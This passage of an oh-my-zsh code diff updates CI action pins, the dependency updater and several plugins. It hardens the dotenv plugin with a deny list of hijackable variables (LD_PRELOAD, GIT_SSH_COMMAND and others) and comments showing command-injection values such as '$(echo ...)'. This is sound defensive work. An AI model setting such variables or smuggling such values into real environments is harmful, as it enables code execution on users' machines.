diff --git a/.github/dependencies.yml b/.github/dependencies.yml index 6ae21ed2a..b2440fa7e 100644 --- a/.github/dependencies.yml +++ b/.github/dependencies.yml @@ -12,7 +12,7 @@ dependencies: plugins/gradle: repo: gradle/gradle-completion branch: master - version: d8bc301a1fdeed8dc1dd9675138e1d9b7ddc5e4e + version: 63578c9bc56134b80766e88957ba0239e6be2343 precopy: | set -e find . ! -name _gradle ! -name LICENSE -delete diff --git a/.github/workflows/dependencies.yml b/.github/workflows/dependencies.yml index 7dd5065d8..21fc9756f 100644 --- a/.github/workflows/dependencies.yml +++ b/.github/workflows/dependencies.yml @@ -16,12 +16,12 @@ jobs: contents: write # this is needed to push commits and branches steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 + uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0 with: egress-policy: audit - name: Checkout - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 with: fetch-depth: 0 - name: Authenticate as @ohmyzsh @@ -31,7 +31,7 @@ jobs: client-id: ${{ secrets.OHMYZSH_CLIENT_ID }} private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }} - name: Setup Python - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0 with: python-version: "3.12" cache: "pip" diff --git a/.github/workflows/dependencies/updater.py b/.github/workflows/dependencies/updater.py index b61e5858a..6fc93ad6e 100644 --- a/.github/workflows/dependencies/updater.py +++ b/.github/workflows/dependencies/updater.py @@ -219,6 +219,7 @@ class Dependency: if status["has_updates"] is True: short_sha = status["head_ref"][:8] new_version = status["version"] if is_tag else short_sha + source_ref = new_version if is_tag else status["head_ref"] try: branch_name = f"update/{self.path}/{new_version}" @@ -227,7 +228,7 @@ class Dependency: branch = Git.checkout_or_create_branch(branch_name) # Update dependency files - self.__apply_upstream_changes() + self.__apply_upstream_changes(source_ref) if not Git.repo_is_clean(): # Update dependencies.yml file @@ -297,7 +298,7 @@ Check out the [list of changes]({status["compare_url"]}). dep_yaml = DependencyStore.update_dependency_version(self.path, new_version) DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml) - def __apply_upstream_changes(self) -> None: + def __apply_upstream_changes(self, ref: str) -> None: # Patterns to ignore in copying files from upstream repo GLOBAL_IGNORE = [".git", ".github", ".gitignore"] @@ -306,12 +307,11 @@ Check out the [list of changes]({status["compare_url"]}). postcopy = self.values.get("postcopy") repo = self.values["repo"] - branch = self.values["branch"] remote_url = f"https://github.com/{repo}.git" repo_dir = os.path.join(TMP_DIR, repo) # Clone repository - Git.clone(remote_url, branch, repo_dir, reclone=True) + Git.clone(remote_url, ref, repo_dir, reclone=True) # Run precopy on tmp repo if precopy is not None: @@ -348,7 +348,7 @@ class Git: default_branch = "master" @staticmethod - def clone(remote_url: str, branch: str, repo_dir: str, reclone=False): + def clone(remote_url: str, ref: str, repo_dir: str, reclone=False): # If repo needs to be fresh if reclone and os.path.exists(repo_dir): shutil.rmtree(repo_dir) @@ -356,11 +356,11 @@ class Git: # Clone repo in tmp directory and checkout branch if not os.path.exists(repo_dir): print( - f"Cloning {remote_url} to {repo_dir} and checking out {branch}", + f"Cloning {remote_url} to {repo_dir} and checking out {ref}", file=sys.stderr, ) CommandRunner.run_or_fail( - ["git", "clone", "--depth=1", "-b", branch, remote_url, repo_dir], + ["git", "clone", "--depth=1", "--revision", ref, remote_url, repo_dir], stage="Clone", ) @@ -392,13 +392,15 @@ class Git: Returns `False` if the repo is dirty. """ try: - CommandRunner.run_or_fail( - ["git", "diff", "--exit-code"], stage="CheckRepoClean" + result = CommandRunner.run_or_fail( + ["git", "status", "--porcelain", "--untracked-files=normal"], + stage="CheckRepoClean", ) - return True except CommandRunner.Exception: return False + return result.stdout.strip() == b"" + @staticmethod def add_and_commit(scope: str, version: str) -> bool: """ diff --git a/.github/workflows/installer.yml b/.github/workflows/installer.yml index d306f170d..017d26213 100644 --- a/.github/workflows/installer.yml +++ b/.github/workflows/installer.yml @@ -26,12 +26,12 @@ jobs: - macos-latest steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 + uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0 with: egress-policy: audit - name: Set up git repository - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 - name: Install zsh if: runner.os == 'Linux' run: sudo apt-get update; sudo apt-get install zsh @@ -47,12 +47,12 @@ jobs: - test steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 + uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0 with: egress-policy: audit - name: Checkout - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 - name: Install Vercel CLI run: npm install -g vercel - name: Setup project and deploy diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index d452123ef..8b1835f72 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -24,12 +24,12 @@ jobs: if: github.repository == 'ohmyzsh/ohmyzsh' steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 + uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0 with: egress-policy: audit - name: Set up git repository - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 - name: Install zsh run: sudo apt-get update; sudo apt-get install zsh - name: Check syntax diff --git a/.github/workflows/project.yml b/.github/workflows/project.yml index e3117769f..b9489cf6f 100644 --- a/.github/workflows/project.yml +++ b/.github/workflows/project.yml @@ -17,7 +17,7 @@ jobs: if: github.repository == 'ohmyzsh/ohmyzsh' steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 + uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0 with: egress-policy: audit - name: Authenticate as @ohmyzsh diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index 05282bfcb..f31221f88 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -36,12 +36,12 @@ jobs: steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 + uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0 with: egress-policy: audit - name: "Checkout code" - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 with: persist-credentials: false @@ -60,6 +60,6 @@ jobs: retention-days: 5 - name: "Upload to code-scanning" - uses: github/codeql-action/upload-sarif@7211b7c8077ea37d8641b6271f6a365a22a5fbfa # v4.36.0 + uses: github/codeql-action/upload-sarif@7188fc363630916deb702c7fdcf4e481b751f97a # v4.37.1 with: sarif_file: results.sarif diff --git a/lib/cli.zsh b/lib/cli.zsh index 55938ba8a..a9f0a0767 100644 --- a/lib/cli.zsh +++ b/lib/cli.zsh @@ -371,7 +371,7 @@ multi == 1 && /^[^#]*\)/ { next } -# if multi flag is enabled and we didnt find a closing parenthesis, +# if multi flag is enabled and we didn't find a closing parenthesis, # get the indentation level to match when adding plugins multi == 1 && /^[^#]*/ { indent=\"\" diff --git a/lib/git.zsh b/lib/git.zsh index 3a03dbd4d..63482df6e 100644 --- a/lib/git.zsh +++ b/lib/git.zsh @@ -162,13 +162,13 @@ if zstyle -t ':omz:alpha:lib:git' async-prompt \ # or any of the other prompt variables function _defer_async_git_register() { # Check if git_prompt_info is used in a prompt variable - case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in + case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in *(\$\(git_prompt_info\)|\`git_prompt_info\`)*) _omz_register_handler _omz_git_prompt_info ;; esac - case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in + case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in *(\$\(git_prompt_status\)|\`git_prompt_status\`)*) _omz_register_handler _omz_git_prompt_status ;; diff --git a/plugins/ansible/ansible.plugin.zsh b/plugins/ansible/ansible.plugin.zsh index 75393b704..bfe7f8cb4 100644 --- a/plugins/ansible/ansible.plugin.zsh +++ b/plugins/ansible/ansible.plugin.zsh @@ -1,13 +1,13 @@ # Functions -function ansible-version(){ +function ansible-version() { ansible --version } -function ansible-role-init(){ - if ! [ -z $1 ] ; then +function ansible-role-init() { + if [[ -n "$1" ]]; then echo "Ansible Role : $1 Creating...." - ansible-galaxy init $1 - tree $1 + ansible-galaxy init "$1" + tree "$1" else echo "Usage : ansible-role-init " echo "Example : ansible-role-init role1" diff --git a/plugins/aws/aws.plugin.zsh b/plugins/aws/aws.plugin.zsh index 0c43031df..677bf3236 100644 --- a/plugins/aws/aws.plugin.zsh +++ b/plugins/aws/aws.plugin.zsh @@ -9,14 +9,14 @@ function agr() { # Update state file if enabled function _aws_update_state() { if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then - test -d $(dirname ${AWS_STATE_FILE}) || exit 1 + test -d $(dirname ${AWS_STATE_FILE}) || return 1 echo "${AWS_PROFILE} ${AWS_REGION}" > "${AWS_STATE_FILE}" fi } function _aws_clear_state() { if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then - test -d $(dirname ${AWS_STATE_FILE}) || exit 1 + test -d $(dirname ${AWS_STATE_FILE}) || return 1 echo -n > "${AWS_STATE_FILE}" fi } diff --git a/plugins/bedtools/README.md b/plugins/bedtools/README.md index c4de4e3a9..417c4f072 100644 --- a/plugins/bedtools/README.md +++ b/plugins/bedtools/README.md @@ -1,5 +1,5 @@ # Bedtools plugin -This plugin adds support for the [bedtools suite](http://bedtools.readthedocs.org/en/latest/): +This plugin adds support for the [bedtools suite](https://bedtools.readthedocs.io/en/latest/): * Adds autocomplete options for all bedtools sub commands. diff --git a/plugins/brew/README.md b/plugins/brew/README.md index 07c387380..5e3e3fab6 100644 --- a/plugins/brew/README.md +++ b/plugins/brew/README.md @@ -17,6 +17,12 @@ If `brew` is not found in the PATH, this plugin will attempt to find it in commo In case you installed `brew` in a non-common location, you can still set `BREW_LOCATION` variable pointing to the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environment. +### sbin directory + +This plugin also adds `$HOMEBREW_PREFIX/sbin` to the PATH if the directory exists and isn't already present. +Some Homebrew formulae (e.g. `mtr`) install executables to `sbin`, which `brew doctor` checks for. This +ensures the `bdr` alias runs without warnings. + ## Aliases | Alias | Command | Description | diff --git a/plugins/brew/brew.plugin.zsh b/plugins/brew/brew.plugin.zsh index 7d5db2068..45cd89f44 100644 --- a/plugins/brew/brew.plugin.zsh +++ b/plugins/brew/brew.plugin.zsh @@ -30,6 +30,16 @@ if [[ -z "$HOMEBREW_PREFIX" ]]; then export HOMEBREW_PREFIX="$(brew --prefix)" fi +# Add Homebrew sbin to PATH if it exists and is not already in PATH. +# Homebrew's shellenv only adds bin directories, not sbin. Some formulae +# (e.g. mtr) install executables to sbin, and brew doctor warns if it's +# missing from PATH. +if [[ -d "$HOMEBREW_PREFIX/sbin" ]]; then + if [[ ! "$PATH" == *"$HOMEBREW_PREFIX/sbin"* ]]; then + export PATH="$HOMEBREW_PREFIX/sbin:$PATH" + fi +fi + if [[ -d "$HOMEBREW_PREFIX/share/zsh/site-functions" ]]; then fpath+=("$HOMEBREW_PREFIX/share/zsh/site-functions") fi diff --git a/plugins/bundler/README.md b/plugins/bundler/README.md index ddf547276..b322b8d71 100644 --- a/plugins/bundler/README.md +++ b/plugins/bundler/README.md @@ -22,7 +22,8 @@ plugins=(... bundler) | `bo` | `bundle open` | Opens the source directory for a gem in your bundle | | `bout` | `bundle outdated` | List installed gems with newer versions available | | `bp` | `bundle package` | Package your needed .gem files into your application | -| `bu` | `bundle update` | Update your gems to the latest available versions | +| `bu` | `bundle update` | Update your gems to the latest available versions | +| `bua` | `bundle update --all` | Update all gems to the latest available versions | ## Gem wrapper diff --git a/plugins/bundler/bundler.plugin.zsh b/plugins/bundler/bundler.plugin.zsh index 53b36f092..4af27f4d2 100644 --- a/plugins/bundler/bundler.plugin.zsh +++ b/plugins/bundler/bundler.plugin.zsh @@ -10,6 +10,7 @@ alias bo="bundle open" alias bout="bundle outdated" alias bp="bundle package" alias bu="bundle update" +alias bua="bundle update --all" ## Gem wrapper diff --git a/plugins/celery/README.md b/plugins/celery/README.md index d2597f702..e71f3f4ee 100644 --- a/plugins/celery/README.md +++ b/plugins/celery/README.md @@ -1,6 +1,6 @@ # Celery -This plugin provides completion for [Celery](http://www.celeryproject.org/). +This plugin provides completion for [Celery](https://docs.celeryq.dev/en/stable/). To use it add celery to the plugins array in your zshrc file. diff --git a/plugins/common-aliases/common-aliases.plugin.zsh b/plugins/common-aliases/common-aliases.plugin.zsh index 3139b821a..8db4b9557 100644 --- a/plugins/common-aliases/common-aliases.plugin.zsh +++ b/plugins/common-aliases/common-aliases.plugin.zsh @@ -78,7 +78,7 @@ if is-at-least 4.2.0; then alias -s chm=xchm alias -s djvu=djview - #list whats inside packed file + #list what's inside packed file alias -s zip="unzip -l" alias -s rar="unrar l" alias -s tar="tar tf" diff --git a/plugins/deno/README.md b/plugins/deno/README.md index 38f9f2033..9399db113 100644 --- a/plugins/deno/README.md +++ b/plugins/deno/README.md @@ -4,17 +4,17 @@ This plugin sets up completion and aliases for [Deno](https://deno.land). ## Aliases -| Alias | Full command | -| ----- | ------------------- | -| db | deno bundle | -| dc | deno compile | -| dca | deno cache | -| dfmt | deno fmt | -| dh | deno help | -| dli | deno lint | -| drn | deno run | -| drA | deno run -A | -| drw | deno run --watch | -| dru | deno run --unstable | -| dts | deno test | -| dup | deno upgrade | +| Alias | Full command | +| ----- | ---------------- | +| dc | deno compile | +| dca | deno cache | +| dck | deno check | +| dfmt | deno fmt | +| dh | deno help | +| dli | deno lint | +| drn | deno run | +| drA | deno run -A | +| drw | deno run --watch | +| dsv | deno serve | +| dts | deno test | +| dup | deno upgrade | diff --git a/plugins/deno/deno.plugin.zsh b/plugins/deno/deno.plugin.zsh index bf97d6f03..91fd1618e 100644 --- a/plugins/deno/deno.plugin.zsh +++ b/plugins/deno/deno.plugin.zsh @@ -1,14 +1,14 @@ # ALIASES -alias db='deno bundle' alias dc='deno compile' alias dca='deno cache' +alias dck='deno check' alias dfmt='deno fmt' alias dh='deno help' alias dli='deno lint' alias drn='deno run' alias drA='deno run -A' alias drw='deno run --watch' -alias dru='deno run --unstable' +alias dsv='deno serve' alias dts='deno test' alias dup='deno upgrade' diff --git a/plugins/dnf/README.md b/plugins/dnf/README.md index 1ae68035c..abd51a04a 100644 --- a/plugins/dnf/README.md +++ b/plugins/dnf/README.md @@ -15,18 +15,19 @@ of `dnf5` and uses it as drop-in alternative to the slower `dnf`. ## Aliases -| Alias | Command | Description | -|-------|-------------------------|--------------------------| -| dnfl | `dnf list` | List packages | -| dnfli | `dnf list --installed` | List installed packages | -| dnfgl | `dnf grouplist` | List package groups | -| dnfmc | `dnf makecache` | Generate metadata cache | -| dnfp | `dnf info` | Show package information | -| dnfs | `dnf search` | Search package | -| **Use `sudo`** | -| dnfu | `sudo dnf upgrade` | Upgrade package | -| dnfi | `sudo dnf install` | Install package | -| dnfgi | `sudo dnf groupinstall` | Install package group | -| dnfr | `sudo dnf remove` | Remove package | -| dnfgr | `sudo dnf groupremove` | Remove package group | -| dnfc | `sudo dnf clean all` | Clean cache | +| Alias | Command | Description | +|-------|-------------------------------|------------------------------------------| +| dnfl | `dnf list` | List packages | +| dnfli | `dnf list --installed` | List installed packages | +| dnfgl | `dnf grouplist` | List package groups | +| dnfmc | `dnf makecache` | Generate metadata cache | +| dnfp | `dnf info` | Show package information | +| dnfs | `dnf search` | Search package | +| **Use `sudo`** | +| dnfu | `sudo dnf upgrade` | Upgrade package | +| dnfur | `sudo dnf upgrade --refresh` | Upgrade package (force metadata refresh) | +| dnfi | `sudo dnf install` | Install package | +| dnfgi | `sudo dnf groupinstall` | Install package group | +| dnfr | `sudo dnf remove` | Remove package | +| dnfgr | `sudo dnf groupremove` | Remove package group | +| dnfc | `sudo dnf clean all` | Clean cache | diff --git a/plugins/dnf/dnf.plugin.zsh b/plugins/dnf/dnf.plugin.zsh index 34d5e975b..1726cc0bb 100644 --- a/plugins/dnf/dnf.plugin.zsh +++ b/plugins/dnf/dnf.plugin.zsh @@ -11,6 +11,7 @@ alias dnfp="${dnfprog} info" # Show package information alias dnfs="${dnfprog} search" # Search package alias dnfu="sudo ${dnfprog} upgrade" # Upgrade package +alias dnfur="sudo ${dnfprog} upgrade --refresh" # Upgrade package and refresh repos alias dnfi="sudo ${dnfprog} install" # Install package alias dnfr="sudo ${dnfprog} remove" # Remove package alias dnfc="sudo ${dnfprog} clean all" # Clean cache diff --git a/plugins/dotenv/.zunit.yml b/plugins/dotenv/.zunit.yml new file mode 100644 index 000000000..e5ea0c3a6 --- /dev/null +++ b/plugins/dotenv/.zunit.yml @@ -0,0 +1,9 @@ +tap: false +directories: + tests: tests + output: tests/_output + support: tests/_support +time_limit: 0 +fail_fast: false +allow_risky: false +verbose: false diff --git a/plugins/dotenv/README.md b/plugins/dotenv/README.md index 5dbcf0fb1..8b3f9ecce 100644 --- a/plugins/dotenv/README.md +++ b/plugins/dotenv/README.md @@ -34,6 +34,25 @@ PORT=3001 You can even mix both formats, although it's probably a bad idea. +Multi-line values are supported using quoted strings: + +```sh +PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEA... +-----END RSA PRIVATE KEY-----" +``` + +Variables defined earlier in the file can be referenced by later entries: + +```sh +BASE_URL=https://example.com +API_URL=$BASE_URL/api +ASSETS_URL=${BASE_URL}/assets +``` + +Note: only variables defined within the same `.env` file are expanded this way — +shell environment variables that already exist are **not** substituted. + ## Settings ### ZSH_DOTENV_FILE @@ -86,13 +105,37 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t No additional configuration is required — the plugin automatically detects and sources named pipes. +## Tests + +The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run: + +```sh +cd plugins/dotenv && zunit +``` + +> [NOTE!] +> zunit also requires installing [Revolver](https://github.com/molovo/revolver). + ## Version Control **It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only. -## Disclaimer +## Security -This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job. +The plugin applies several best-effort safeguards when loading a `.env` file: + +- **Size limit** — files larger than 10 MiB are rejected to prevent DoS. +- **Syntax check** — the file is validated with `zsh -fn` before any variables are set. +- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped. +- **Forbidden variables** — the following variables are never overwritten, regardless of what the + `.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`, + `LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`, + `GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`, + `GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special + parameters. + +These measures are **best-effort** — you are still responsible for the content of your `.env` +file. Do not use this plugin as a security boundary. If you need more advanced and feature-rich ENV management, check out these awesome projects: diff --git a/plugins/dotenv/dotenv.plugin.zsh b/plugins/dotenv/dotenv.plugin.zsh index c44c369b5..72839a501 100644 --- a/plugins/dotenv/dotenv.plugin.zsh +++ b/plugins/dotenv/dotenv.plugin.zsh @@ -7,9 +7,271 @@ : ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"} : ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"} - ## Functions +_parse_dotenv_content() { + setopt localoptions extendedglob + + local content="$1" + local mode="${2:-export}" + + # Validate mode argument + case "$mode" in + export|test) ;; + *) + echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2 + return 1 + ;; + esac + + local node line key value + local raw_value expanded prefix remainder var_name escaped_dollar_placeholder + local sq dq uq safe + local -A parsed_vars + local -a nodes lines + + # Parse into command lines separated by `;`, with built-in support for multi-line commands. + # (Z:C:) ignores comments and preserves quotes and escapes. + # + # All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines + # by joining all elements between ';'. + # + # Example input: + # VAR1=value1; VAR2=value2 + # VAR3="multi + # line value" + # Result: + # typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' ) + # typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' ) + # + nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command + for node in "${nodes[@]}"; do + if [[ "$node" == ";" ]]; then + if [[ -n "$line" ]]; then + lines+=("$line") + line="" + fi + continue + fi + + [[ -z "$line" ]] || line+=" " + line+="$node" + done + + local -a forbidden_vars=( + NODE_OPTIONS + BASH_ENV + ENV + ZDOTDIR + ZSH + LD_PRELOAD + LD_LIBRARY_PATH + DYLD_INSERT_LIBRARIES + GIT_CONFIG_GLOBAL + GIT_DIR + GIT_EDITOR + GIT_EXTERNAL_DIFF + GIT_EXEC_PATH + GIT_PAGER + GIT_SSH + GIT_SSH_COMMAND + GIT_SSL_NO_VERIFY + GIT_TEMPLATE_DIR + VISUAL + PAGER + EDITOR + ${(k)parameters[(R)*export*special]} + ) + local forbidden="${(j:|:)forbidden_vars}" + + + # Each line contains a single command line, we need to parse valid KEY=VALUE pairs + for line in "${lines[@]}"; do + # Strip leading 'export ' keyword + line="${line#export[ ]}" + + # Match KEY=VALUE pattern + # "A name may be any sequence of alphanumeric characters and underscores" + # https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters + if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then + continue + fi + + key="${match[1]}" + value="${match[2]}" + raw_value="$value" + + # Filter out variables to be ignored for security reasons (best effort) + if [[ "$key" == (${~forbidden}) ]]; then + continue + fi + + # Use tokenization to split value with native shell parsing (handles quotes and escapes) + # Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run` + local -a words + words=("${(@z)value}") + if [[ ${#words} -ne 1 ]]; then + continue + fi + + ## START: FILTER COMMAND EXPANSION + # + # Filter lines with command expansion not in safe contexts + # + # READER'S NOTE: this is actually a "best effort" check (works in tests), but + # only to prevent setting variables with command substitution. The actual effect + # of setting them would not be a vulnerability, because we use `typeset name=value` + # and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`. + # + # What does this mean? If we were to remove this filter block, this is what would happen: + # + # Input: DANGEROUS=$(echo this is a command) + # Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution) + # + # Check for potential command substitution outside of safe contexts + # - single-quoted strings: command substitution is literal there + sq="'[^']#'" + # - double-quoted strings, but NOT unescaped ` or $( + dq='"([^"$`\\]|\\.|\\$[^(\`])#"' + # - unquoted text, but NOT unescaped ` or $( + uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#' + safe="(${sq}|${dq}|${uq})#" + # Remove the longest safe prefix; what remains starts at first unsafe construct + remainder="${value##${~safe}}" + + if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then + continue + fi + ## END: FILTER COMMAND EXPANSION + + # Single-quoted values are fully literal and must not participate in expansion. + if [[ "$raw_value" == \'*\' ]]; then + value="${(Q)value}" + parsed_vars[$key]="$value" + if [[ "$mode" == "export" ]]; then + typeset -x "$key"="$value" + fi + continue + fi + + # Preserve escaped dollars so they remain literal after unquoting. + escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001' + value="${value//\\\$/$escaped_dollar_placeholder}" + + # Unquote the value to handle special characters and multiline values. + value="${(Q)value}" + + # Expand previously parsed in-file variables without partial name matches. + expanded="" + prefix="" + remainder="$value" + var_name="" + while [[ "$remainder" == *'$'* ]]; do + prefix="${remainder%%\$*}" + expanded+="$prefix" + remainder="${remainder#$prefix}" + + if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then + var_name="${match[1]}" + remainder="${match[2]}" + elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then + var_name="${match[1]}" + remainder="${match[2]}" + else + expanded+='$' + remainder="${remainder#?}" + continue + fi + + if [[ -v "parsed_vars[$var_name]" ]]; then + expanded+="${parsed_vars[$var_name]}" + fi + done + value="${expanded}${remainder}" + value="${value//$escaped_dollar_placeholder/\$}" + + # Store in parsed vars (for in-file expansion) + parsed_vars[$key]="$value" + + # Normal mode: export the variable + if [[ "$mode" == "export" ]]; then + typeset -x "$key"="$value" + fi + done + + # In test mode, set DOTENV_TEST_VARS + typeset -gA DOTENV_TEST_VARS + DOTENV_TEST_VARS=("${(@kv)parsed_vars}") +} + +parse_dotenv() { + local filename="$1" + local mode="${2:-export}" + local content + + # Fail if file is too large to avoid DoS + zmodload -F zsh/stat b:zstat + local -i file_size max_size=10485760 # 10MiB + if ! file_size=$(zstat +size "$filename" 2>/dev/null); then + echo "dotenv: unable to determine size of file '$filename'" >&2 + return 1 + fi + + if (( file_size > max_size )); then + echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2 + return 1 + fi + + content="$(<"$filename")" || return 1 + _parse_dotenv_content "$content" "$mode" +} + +_dotenv_read_limited() { + local filename="$1" + local chunk content="" + local -i max_size=10485760 total=0 read_size=0 fd read_status + + zmodload zsh/system || return 1 + exec {fd}<"$filename" || return 1 + + while true; do + sysread -i $fd -s 65536 -c read_size chunk + read_status=$? + + if (( read_status == 5 )); then + break + elif (( read_status != 0 )); then + exec {fd}<&- + return 1 + fi + + (( total += read_size )) + if (( total > max_size )); then + exec {fd}<&- + echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2 + return 1 + fi + + content+="$chunk" + done + + exec {fd}<&- + REPLY="$content" +} + +_dotenv_check_syntax() { + local filename="$1" + + if (( $# == 2 )); then + printf '%s' "$2" | zsh -fn /dev/stdin + else + zsh -fn -- "$filename" + fi || { + echo "dotenv: error when sourcing '$filename' file" >&2 + return 1 + } +} + source_env() { if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then return @@ -37,28 +299,35 @@ source_env() { [[ $column -eq 1 ]] || echo # print same-line prompt and output newline character if necessary - echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) " + echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) " read -k 1 confirmation [[ "$confirmation" = $'\n' ]] || echo # check input case "$confirmation" in - [nN]) return ;; + [yY]) ;; [aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;; [eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;; - *) ;; # interpret anything else as a yes + *) return ;; # interpret anything else as a no esac fi fi - # test .env syntax - zsh -fn $ZSH_DOTENV_FILE || { - echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2 - return 1 - } + local content + if [[ -p "$ZSH_DOTENV_FILE" ]]; then + _dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1 + content="$REPLY" + _dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1 + + setopt localoptions allexport + _parse_dotenv_content "$content" + return + fi + + _dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1 setopt localoptions allexport - source $ZSH_DOTENV_FILE + parse_dotenv "$ZSH_DOTENV_FILE" } autoload -U add-zsh-hook diff --git a/plugins/dotenv/tests/_output/.gitignore b/plugins/dotenv/tests/_output/.gitignore new file mode 100644 index 000000000..d6b7ef32c --- /dev/null +++ b/plugins/dotenv/tests/_output/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/plugins/dotenv/tests/_support/bootstrap 